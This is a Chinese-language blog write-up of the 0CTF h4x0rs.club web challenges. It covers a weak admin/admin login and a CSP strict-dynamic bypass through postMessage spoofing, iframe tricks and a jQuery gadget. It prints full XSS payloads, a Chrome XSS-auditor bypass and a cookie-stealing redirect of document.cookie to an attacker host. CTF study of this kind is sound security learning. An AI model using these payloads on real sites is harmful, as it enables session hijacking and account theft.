周末肛了一下0ctf,发现自己依旧那么菜。一道题也没解出来,成功的再一次拖了队伍后退。
今天发现国外大佬们已经开始放wp了。于是自己学习一波,复现一下。
先吐槽一波
h4x0rs.club1
Flag is biography of the administrator. There are more than one way to get this flag.
h4x0rs.club-https://h4x0rs.club/game/
backend_www got backup at /var/www/html.tar.gz
h4x0rs.club2
Get document .cookie of the administartor.
h4x0rs.club-https://h4x0rs.club/game/
backend_www got backup at /var/www/html.tar.gz
Hint: Get open-redirect first, lead admin to the w0rld!
两道题好像是一起放出来的,看完题目介绍时,分析了一会,自己是懵的。因为同样是xss题,总感觉第一题要比第二题难好不好。
而且看到那个hint给的源码,很懵,到底要怎么读源码。。
因为网站是在 /var/www/html/ 目录下的。
然后随着第一题做出来的人,越来越多,第二题做出来的人寥寥无几。自己心虚了。感觉应该不是同一种方式,怀疑第二题难道cookie做了httponly?我去,想都不敢想啊,这该怎么拿。
事实证明,我想错了。
h4x0rs.club1
对,真的是想错了,一直在以xss的方式想题。
谁能知道第一题竟然是弱口令!当队友通过 admin
admin 登录成功时,自己。。。。
我真的不知道该说啥好。
对,第一题就这么解开了,登陆后就可以进资料看到flag了。
h4x0rs.club2
好了,不闹,现在开始正式做题。我先理一下我之前的思路吧,可能篇幅有点长。
但看完老外的wp,发现最后结果依旧很简单。
0x01 分析站点
因为这道题是xss题目,首先先看一下是否存在csp。此时发现果然有。
default-src 'none'; 指定默认的所有属性值为none,即什么都不加载
img-src * data: ; 指定图片允许加载任何网站,及通过data加载
script-src 'nonce-d27eedc90fc6036829cb4d92e898f0d8'; 只允许加载带nonce属性的srcipt
style-src 'self' 'unsafe-inline' fonts.googleapis.com; 允许加载本域css,允许加载内嵌于html中的css,允许
加载来自google那个域的css
font-src 'self' fonts.gstatic.com; 字体,其余同上
frame-src https://www.google.com/recaptcha/; iframe,同上
看到后,会发现,这样一限制基本没有了机会去xss。
并且他还关闭了缓存:
Cache-Control:no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
拿到这些信息后,先放一放,然后继续分析逻辑
进入后,发现是个游戏站点。需要登录,并且默认登陆后自动注册。
登录之后发现是一个猜宠物的小游戏。
左上角翻译如下:
那只神奇宝贝是谁?是大家都知道的游戏,不是吗?
所以可以明白这个游戏是干啥的了。
游戏逻辑:点击左下角三角开始,然后在右边的窗格内会显示宠物与选项,还有一个输入框。输入对了就会
加分。
还好题目已经提示是拿管理员cookie,即xss。
否则真的会以为和HCTF2017那个打到100级一样。这点还是要赞一下0CTF的。
所以,直接分析其他点
首先登出没啥好看的,直接取看了profile。
发现有一个textarea,尝试写入以下语句闭合textarea,发现可以用。
</textarea><img src=#>
此时成功引入了一个img标签。但是如何看到这页呢?因为这页的url是
https://h4x0rs.club/game/profile.php ,所以admin看的肯定是他的。
此时发现有奇怪的public与private,即,一定存在其他页面可以访问资料。
于是继续看SCOREBOARD,发现是个排行榜,显示着每个人的成绩,后面还有个小捕捉球,可以点击。
点进去即可查看其他人资料。并且还可以向管理员反馈此页的违纪信息。
所以,此时可以获取到我的资料链接 https://h4x0rs.club/game/user.php/yourname
然后回到刚刚页面,写入 <img src='youvps'> ,将我的资料链接提交给admin,
然后很愉快的在主机上接收到了一些该服务器的信息。
不要问我为啥不写js,csp限制的那么狠,你告诉我js怎么写!怎么写!
而且大多数时候,写img,可以测试一下是否存在这个点。自己蛮喜欢先拿他测试。
发现Chrome版本为65。此时无法使用 Chrome < 62 UXSS(CVE-2017-5124) ,只能通过其他方式来找绕过nonce的方法。
继续看,看到了主页面url的一个奇怪点 https://h4x0rs.club/game/?msg=Welcome
url长这个样子,你们想到了什么。首先随便输一点,然后F12,ctrl+F 搜索刚刚输进去的。(xss挖掘必备技巧)
发现此处也存在后端未过滤加载欢迎语。不多做介绍,趁比赛没关,大家可以试试。
然后分析network,发现引入了一个外域的东东,
进一步发现主页是通过引入一个iframe来加载的这个页面。
然后发现这个引入的页面里有一堆的js代码。
而且network那里还有不断发送的请求。
所以猜测,游戏是在与一个其他服务器上通信,所有的游戏资源都在那里。
仔细分析引入的js可以发现。他是在和另一个页面,即socket进行通信。有以下几个功能
1. ping:测试是否在线
2. question:获取问题
3. answer:判断答案是否正确
4. badges:获取一个徽章
最终在队友指点下,了解到badges处含有文件读取漏洞。于是成功脱下源码。(不过多介绍了,本来就挺长了)
然并卵,什么都看不出来,尤其是有个防止叫csrf的页面,更是让我欲仙欲死,从csrf方面想了半天。
然后继续,又发现加载了一下js
其实一开始没有太过在意这些js ,将其理解为了一些库之类的,毕竟app.js四千多行(真心难受,事实证明,我应该多看看的,里面有个非预期解)。
所以可以看出该游戏由两部分构成:前端页面(https://h4x0rs.club/game/)和后端页面(https://backend.h4x0rs.club/backend_www/)
分析原理,可知。
首先通过加载iframe,来获得一个通以及token,来供两个页面进行通信。
然后通过postMessage来与iframe进行通信,iframe再将信息通过websocket发送到socket.php。
0x02 思考利用
首先,我们整理一下刚刚的发现:
1. script标签强制要求带nonce
2. bot 为 Chrome/65.0,无法使用uxss
3. 没有开启缓存
所以可以知道题目要求,让我们想办法绕过nonce,从而执行js,获取到管理员的cookie。
此时想到利用缓存,来绕过nonce,但是没有开启缓存,这个很无奈了。(百度 nonce 缓存 绕过,有资料)
然后开始寻找如何绕过nonce,然而没用啊。
最后看完大佬的wp,让我更加坚信,绕过nonce就那几招,
1. 缓存
2. uxss
3. rpo
4. 自身js代码逻辑漏洞
分析js,发现登录后的主页面有这么一句js,蛮可疑。
猜测,可不可以构造一些怪怪的名字比如 "alert(1);// ,好吧,事实证明,我想多了。
竟然限制username。只允许小写字母和数字以及下划线。还要求5-16位。这就比较难受了。
然后看到一个4000行+的app.js。(当时自己坚定的将心都放在了websocket上。因为拖到源码,看到了那边有csrf的字样,还有enable_cors字样,把自己引导到了cors。这里依旧不细说了,毕竟这个坑挺深,一说又几千字了。)
做了两天。。两天,没做出来一道题,心塞!
【正解】几天后的今天
wp出来后,第一时间去看了一下。发现出题大佬真心6。膜一下。
主要考点有一个csp中的strict-dynamic。
Content‐Security‐Policy:script‐src 'nonce‐e4a725db62632e28cdcc1ac70a15a572' 'strict‐dynamic';
由于自己之前看csp规则时,忽略了不同页面配置有不同规则。没有注意到这一点,并且对这里不熟悉。
这次搜索后发现,这个规则是信任通过js加载进来的js代码
即,如果是被已经信任的js,所动态加载的代码都是可以执行的。
所以,这样一来,分析前端client.js代码与后端index.js交互逻辑可以发现以下问题。
前端client.js接收后端badge,并且渲染
此时调用badge,渲染时没有对data.title进行转义,直接输出。
这样一来,可不可以修改一下这个data.title值呢,
接下来,继续看他的去向。
首先是前端client.js发送内容 badge时的参数,将username+got badge作为title发送。
以及后端index页面接收badge时的js,依旧输出title,基本没做什么变换。
此时,小伙伴们可能就会以为,唉,没办法了。(啥,你又想起来改username了?难道忘了刚刚的教了?)
然而出题人就在这里搬了个小板凳等着。
既然没办法修改值,为什么不尝试伪造呢?
因为后端index不知道是谁给他通过postMessage发送的信息。但是,他却将所有信息都发送到了最顶级窗口。
后端主页js代码
所以说,我们可以搬个小板凳,坐在前端和后端中间,然后悄悄告诉后端一个假的title,这样,后端再将他发到前端。嘿嘿嘿。想想就开心
此时大家可能有疑问,为什么不直接化个妆,假装是后端呢,非要搬个小板凳坐中间。
因为前端对接收的信息做了验证。
但后端可没有做这个验证。其实大部分开发也是这样,因为后端不一定只给一个网站做后端。故有些站长会忽视掉验证。
但该题后端还真验证了,而且验证的真心迷,大概是怕谷歌抄袭他游戏吧。
所以还是乖乖搬小板凳吧
不知还记得刚刚哪个msg么。此时他就有用了哦。可以通过它将我们的eval.html作为iframe引入。然后起到欺骗的效果。
借一下出题人大佬的图
然后即可构造
https://h4x0rs.club/game/?msg=
<iframe name=game_server src=//eval.com/test/eval.html></iframe>
此时遇到一个很尴尬,很尴尬的问题。他被Chrome的安全策略拦截了!!拦截了!这还日个毛线的站。
但是,大佬却提出来了一个新思路,并且带来了一个新的洞洞。
先说洞洞吧。
查看他人资料页里,含有这么一句js
看似没用,但是看过大佬的思路后,顿时感觉汗颜,还是自己太年轻啊!
Chrome拦截策略是,当你在url通过iframe引入其他域页面是,进行拦截,所以,我们完全可以引入一个本域的页面。
即引入一个用户eval1的资料页面,并且在这里。可以通过a标签,搭配刚刚哪个洞洞来进行跳转到eval.html。
此时,继续开始开开心心的尝试。
在eval1资料页面写入以下信息
<a href='//eval.com/test/eval.html' id=report‐btn></a>
然后访问
https://h4x0rs.club/game/?msg=
<iframe name=game_server src=/game/user.php/eval1#report></iframe>
成功拿到自己的cookie,开心!
然而。。。。好景不长。就当我刚刚把这个链接提交后。
老哥,别闹,我真的没骗你。我提交的是你主页链接啊,这里有人写违法字符,不信你看!
好了,不闹了。。此时此刻,发觉主页是无法提交的。此时心中一曲凉凉将要送给自己。
但是,突然想到大佬的教诲。既然刚刚哪个都成功解决了,为何不能在写一个user的资料,跳转一下呢?
默默注册eval2,资料填写如下:
<a href=//h4x0rs.club/game/?msg=
<iframe name=game_server src=/game/user.php/eval1#report id=report‐btn></a>
哈哈哈,机智如我,此时提交eval2的链接试一下。
成功获取到cookie
p.s.我一猜肯定有人要问我用的什么平台。自己搭的ezxss,话说这个真心好玩!
【某非预期解】依旧是今天
时刻关注ctftime,寻找writeup,看到某篇了writeup。然后心塞塞了。4000行的app.js处果然是有问题的。
某大佬,成功审计出一处漏洞,来来来,大家一起分享一下。
$(".js‐user").append($("#audiences").html())
首先别的先不看(看也看不懂),大家应该能看懂这句话是什么意思吧。
也就是在class为js-user下添加id为audiences内的html代码。即添加以下代码就是可以执行的。
<div id=audiences><script>alert(1)</script></div><div class="js‐user"></div>
不要问为什么,难道忘了刚刚的strict-dynamic了么?
然后,问题来了,插到哪里,怎么插?这里大神是给出了解释。
在校验游戏结果是有这么一句js。所以,我们可以在主页msg中插。
但是,这段代码是要等到游戏执行结束后才可以执行、那该怎么办?
此时我们需要自动开启游戏。
大佬说,他又在client.js发现了这个。
此时的我已经奔溃了,真心服!特别服!贼拉拉的服!
也就是说,此时我们可以构造一个按钮,放在class为js-difficulty的元素内。
直接查看元素,可以发现按钮的代码如下,应该是通过jQuery监听的事件,并处理。
但是,他监听的是哪个属性呢?,一般来说应该是id。但,此时此刻,大佬又说,我们要用那个 js-start-button
的class好吧,那就听你的。
所以最终的点击payload如下
<div class=js‐difficulty><div class=js‐start‐button></div></div>
尝试一下
https://h4x0rs.club/game/?msg=<div class=js‐difficulty><div class=js‐start‐button></div></div>
你会发现,哇塞。果然自动开了局游戏,比按键精灵还爽有没有?
开开心心的插入以下代码。
https://h4x0rs.club/game/?msg=<div id=audiences><script>alert(1)</script></div><div class="js‐
user"></div><div class=js‐difficulty><div class=js‐start‐button></div></div>
然后宝宝就不开心了。Chrome,****。没办法啊,谁叫bot也是Chrome啊,他那肯定不可能把Chrome的 XSS
auditor关掉。
此时此刻,大神又告诉了一个神奇的方式。
什么?加注释就可以么?还是半个。好神奇啊。
所以最终payload如下:
https://h4x0rs.club/game/?msg=<div id=audiences><script><!‐‐alert(1)</script></div><div
class="js‐user"></div><div class=js‐difficulty><div class=js‐start‐button></div></div>
其他的就不用我多说了吧,js里改成 loction.href='youhost'+document.cookie 不过,记得url编码一下,要不+号会被识别为空格。
最后,再膜一下这位大佬。代码审计真心服。
总结
复现完这道题,自己收获蛮大。下面自己总结一下自己的收获,也希望大家看完我的讲解,也能有一定的收获。欢迎评论补充你的收获。
参考资料